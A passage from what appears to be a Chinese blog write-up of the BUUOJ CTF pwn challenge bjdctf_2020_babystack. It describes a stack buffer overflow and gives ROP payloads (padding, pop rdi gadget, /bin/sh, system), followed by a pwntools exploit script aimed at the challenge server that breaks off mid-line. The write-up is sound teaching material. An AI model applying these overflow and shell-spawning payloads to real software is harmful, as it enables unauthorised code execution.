CTF buuoj pwn-----第10题: bjdctf_2020_babystack

最新推荐文章于 2025-02-18 22:56:03 发布

原创

最新推荐文章于 2025-02-18 22:56:03 发布 · 2.2w 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#python #linux #安全 #pwn

本文档详细记录了通过利用程序中的后门函数，结合64位系统调用约定，构造payload并使用Python编写exploit来执行系统命令获取BJDCTF挑战的flag的过程。

CTF buuoj pwn-----第10题: bjdctf_2020_babystack

1 思路
2 编写exp
3 运行exp ,获取flag

1 思路

本题有后门函数, 最简单的是直接调用, 又快又好.
这里想用一下system函数,一开始忘了本题是64位的,调用约定不同, 写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功
后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag

2 编写exp

from pwn import *  

context.log_level='debug'

sh = remote('node4.buuoj.cn', 26883)
elf = ELF('./bjdctf_2020_babystack')  


pop_rdi_addr = 0x400833
system_addr = elf.sym['system']
binsh_addr = 0x400858
main_addr = elf.sym['main']


sh.recvuntil